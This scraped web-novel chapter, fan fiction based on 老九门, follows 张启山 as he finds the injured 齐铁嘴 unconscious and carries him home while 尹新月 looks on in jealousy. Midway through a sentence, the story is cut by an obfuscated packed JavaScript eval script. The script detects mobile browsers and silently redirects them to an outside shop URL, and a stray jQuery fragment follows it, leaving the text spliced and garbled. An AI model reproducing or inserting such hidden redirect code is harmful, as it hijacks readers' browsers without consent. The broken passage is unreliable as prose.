文趣网 > 都市小说 > 九门:重生八爷与他的四个老攻 > 8. “破碎”的八爷
    张启山冲进西厢房的时候,差点被门槛绊了一跤。

    他在这世上活了三十多年,刀山火海里滚过,枪林弹雨里闯过,什么凶险的场面没见过。可他从来没有像此刻这样,一脚迈进门里,整个人就钉在了原地。

    午后惨白的天光从敞开的门照进去,把屋子里的一切都照得清清楚楚。地上泼了一滩白粥,瓷碗碎成几瓣,墙角滚着个空了大半的酒坛子,空气中弥漫着一股混了血腥的酸腐酒气。而屋子正中的躺椅上,齐铁嘴就那么歪着,整个人像件被人揉皱了随手丢开的旧衣裳。

    他的脑袋耷拉在椅子边缘,颈子折出一个让人心惊的角度。一只手搭在肚子上,另一只手无力地垂下来,指尖几乎触到地面。那件灰蓝色的长衫前襟上全是斑斑点点的暗褐色痕迹,袖口上更是糊了一大片,颜色发黑,一看就不是酒渍。

    嘴唇上还挂着没干透的血丝。

    "老八!"

    张启山两步跨过满地狼藉,一把将齐铁嘴从躺椅里捞起来。人入了怀他才发觉齐铁嘴轻得不像话,身子软塌塌的,像一捧随时要散掉的沙。他的额头烫得逼人,嘴唇却是凉的,脸色白得发青,眼窝深深陷下去,整个人毫无生气,连呼吸都浅得几乎感觉不到。

    张启山抱着他,一只手去拍他的脸:"八爷!老八!睁开眼!"

    齐铁嘴的脸被拍得微微晃了晃,眼皮颤了一下,没有睁开。张启山的手在发抖,他自己都不知道自己在抖,拍脸的动作越来越重,声音从低吼变成了近乎哀求的腔调:"齐铁嘴,你听见没有,你给我醒过来——"

    "佛爷!"张小烬跪在躺椅另一边,手忙脚乱地去探齐铁嘴的脉。他是四人里最沉稳的一个,可此刻指尖压上齐铁嘴腕子的时候,他的手指也在抖。脉象细弱得像蛛丝,若有若无地跳着,跳得又急又乱。

    张小鱼站在躺椅后面,看着齐铁嘴满身的血迹,嘴唇哆嗦了半天,说出一句:"八爷怎么把自己弄成这样……"

    张日山已经红了眼眶。他蹲在齐铁嘴脚边,把那只垂下来的手小心翼翼地托起来,掌心的血泡磨破了又结痂,结痂了又磨破,新伤叠旧伤,看得他喉头一阵发紧。

    "八爷。"他哑着嗓子叫了一声。

    齐铁嘴的眼皮又颤了颤。

    这次他终于睁开了眼。那双眼睛往日里总是亮亮的、带着笑意的,此刻却像蒙了一层灰,瞳孔涣散着,半天对不上焦距。他在张启山怀里转了转眼珠,目光从张小烬移到张小鱼,又移到张日山,最后落在低头看他的张启山脸上。

    他看了很久。久到张启山以为他又要昏过去的时候,齐铁嘴的嘴角忽然动了一下,扯出一个极淡极淡的笑。

    "佛爷……"他的声音太轻了,轻得像气声,"副官……你们怎么来了……别担心,我没事!"

    那笑还没收住,他的眼皮就合上了。脑袋往旁边一偏,彻底失了力气,整个人沉在张启山臂弯里,再也叫不醒了。

    "齐铁嘴!"

    张启山这一声喊得嗓子都劈了。他把人搂紧了些,一只手贴在他后背上,掌心底下是硌人的肩胛骨,薄薄一层皮肉包着骨头,瘦得让人心惊。

    "佛爷!"谢九爷的声音从门口传进来。他是跟着张启山一道跑来的,他身体长年带病,落在后面,这会儿才赶到门口。他扶着门框往里头看了一眼,脸色也变了,但到底比张启山冷静几分。"别在这儿耽搁!送佛爷府,叫二月红!"

    二月红。对。二月红懂医。

    张启山像是被这三个字从泥沼里拽了出来。他一把将齐铁嘴打横抱起,转身就往外冲。怀里的人轻飘飘的,脑袋靠在他肩窝里,呼吸若有若无地拂在他的颈侧。张启山把下巴搁在他头顶,脚下步子不敢停,穿过那巴掌大的院子时阿婆缩在井台边上,满脸是泪地喊了声"军爷",他没听见。

    窄巷里停了四五辆车,把巷口堵得严严实实。张启山抱着齐铁嘴冲出来的时候,巷口恰好有一辆黄包车停下,尹新月正从车上下来,裙摆还卡在车辕上。

    "启山——"

    张启山从她身边过去了。

    他抱着齐铁嘴,大步流星地擦过尹新月的肩膀,连眼神都没偏一下。尹新月的手伸在半空,还没来得及碰到他的衣袖,就被他带起的那阵风掀得缩了回去。

    "回府!"张启山对着车门吼道。

    张日山已经坐进了驾驶位,发动机轰鸣着,车尾喷出一股青烟。张启山抱着齐铁嘴钻进后座,车门都没来得及关上张小鱼就从外面一把拽上了。张小烬跳上副驾,回头看了一眼后座——张启山把齐铁嘴整个人拢在怀里,用自己军装外套的下摆裹住他那件沾满了血的破衣裳,一只手臂箍着他的背,一只手托着他的后脑,姿势像护着什么稀世的珍宝。

    张小烬把目光收回来,对张日山说了一个字:"走。"

    车子猛地窜了出去。

    后座上,张启山低着头看齐铁嘴的脸。他的呼吸吹在齐铁嘴额前散落的碎发上,发丝微微地动。齐铁嘴的眼皮青灰色,底下的眼珠还在快速地动着,像是在噩梦里挣扎。张启山把托着他后脑的手又收紧了些,拇指蹭了蹭他鬓角,那里有一道干涸的血痕,不知道是吐的时候沾上的还是别处蹭破的。

    "齐铁嘴。"张启山的嘴唇贴着他的额发

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17846598|211740||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,声音压得极低,低到连坐在前面的副官都听不见。"你撑住。别出事。你听见没有?别出事。"

    他忽然想起来,他从来没有叫过齐铁嘴的全名。从前叫他"老八",后来叫他"八爷",偶尔不耐烦了叫他"齐铁嘴"。但他从来没有像今天这样,把这个名字含在舌尖上,一个字一个字地咬碎了咽下去。

    齐铁嘴。齐铁嘴。你欠我的。你还没跟我说过你那些卦算了一半的话到底是什么。你还没告诉我你昨晚为什么一个人去喝酒。你还没让我知道你为什么把自己弄成这样。

    你不准有事。

    车子在长沙的街面上疾驰,窗外的景物快得只剩残影。张日山把车开得疯了似的,鸣笛声一路响过去,行人纷纷躲避,摊贩掀翻了货担。可后座上的张启山浑然不觉,他只是一直低头看着怀里的人,看着他那张苍白的脸,看着他胸口微弱的起伏,看着他那双磨烂了的手。

    那双手上还有泥,是昨夜在乱葬岗挖坑埋人留下的。

    张启山不知道这个。可他把那双满是伤痕的手轻轻拢在掌心里,掌心贴着掌心,像是要把自己身上的热气渡过去。

    车子在佛爷府门口刹住的时候,张小鱼和张小烬已经提前跳了下来。一个冲进去叫人,一个拉开后座车门。张启山抱着齐铁嘴从车里出来,脚步不停,径直穿过佛爷府的大门,穿过前院,穿过回廊,一路往自己住的主院去了。

    他把他放在了自己的床上。

    尹新月站在佛爷府的大门口,看着那辆车绝尘而去的时候,她手里的帕子终于被她绞破了,白绸面上那枝红梅被指甲掐出一道裂口。

    她听见车里张启山吼的那一声"回府",看见他抱着齐铁嘴钻进后座时小心翼翼托住他后脑的姿势。他的动作那么轻,轻得像抱着一个一碰就碎的瓷器。她认识张启山两年,他抱孩子的时候都没这么轻过。

    黄包车夫站在她身后,局促地问:"太太……还走吗?"

    尹新月低头看了看自己绞破的帕子,慢慢松开手。绸布上的裂口挂在她的指尖,如同她心底疯长不甘。

    "走。"她说,"回去。"

    她转身上了黄包车,靠在椅背上,闭上了眼睛。车子缓缓调头,往佛爷府的方向拉去。风还是凉的,吹在她脸上,把眼角的什么东西吹干了。

    她不甘心。可她现在连不甘心的力气都快没了。

    她想起齐铁嘴住在佛爷府那两年,每天早起坐在偏院门口喝茶,看见她经过就站起来笑着喊"嫂子"。那笑总是亮堂堂的,像是从心底里透出来的光。

    她从来没想过,那光亮底下,藏着些什么。